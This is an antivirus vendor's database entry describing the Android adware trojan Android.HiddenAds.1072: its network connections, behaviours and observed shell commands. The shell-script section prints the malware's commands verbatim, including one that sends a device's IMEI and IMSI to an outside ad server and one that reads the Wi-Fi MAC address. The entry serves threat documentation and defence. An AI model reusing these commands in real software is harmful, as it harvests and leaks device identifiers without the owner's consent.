Android.HiddenAds.1072

Added to the Dr.Web virus database: 2019-02-25

Virus description added: 2019-02-25

Malicious functions:

Executes code of the following detected threats:

Network activity:

Connects to:

UDP(DNS) <Google DNS>
TCP(HTTP/1.1) www.4g####.net:80
TCP(HTTP/1.1) v####.gain####.com:80
TCP(HTTP/1.1) beca####.com:80
TCP(TLS/1.0) s####.cs####.com:443
TCP(TLS/1.0) ssl.gst####.com:443
TCP(TLS/1.0) maket####.com:443
TCP(TLS/1.0) l####.net:443
TCP(TLS/1.0) www.go####.com:443
TCP(TLS/1.0) www.gst####.com:443
TCP(TLS/1.0) adser####.go####.com:443
TCP(TLS/1.0) www.go####.nl:443

DNS requests:

HTTP GET requests:

HTTP POST requests:

File system changes:

Creates the following files:

Miscellaneous:

Executes the following shell scripts:

<Package Folder>/lib/libnat-lib20170711.so -pkg <Package> -pid 2317 -svr <Package>/com.game91.davib.keep.ClkService -url http://www.4ginfo.net/ad/adc?ohmamami=ohno&fkk9ll=<IMEI>&cvsds=<IMSI>&frrw=64500&f4rr=00:00:00:00:00:14 -log
cat /sys/class/net/wlan0/address
sh <Package Folder>/lib/libnat-lib20170711.so -pkg <Package> -pid 2317 -svr <Package>/com.game91.davib.keep.ClkService -url http://www.4ginfo.net/ad/adc?ohmamami=ohno&fkk9ll=<IMEI>&cvsds=<IMSI>&frrw=64500&f4rr=00:00:00:00:00:14 -log

Loads the following dynamic libraries:

Uses the following algorithms to encrypt data:

Uses the following algorithms to decrypt data:

Gets information about phone status (number, IMEI, etc.).

Gets information about installed apps.

Gets information about running apps.

Adds tasks to the system scheduler.

Displays its own windows over windows of other apps.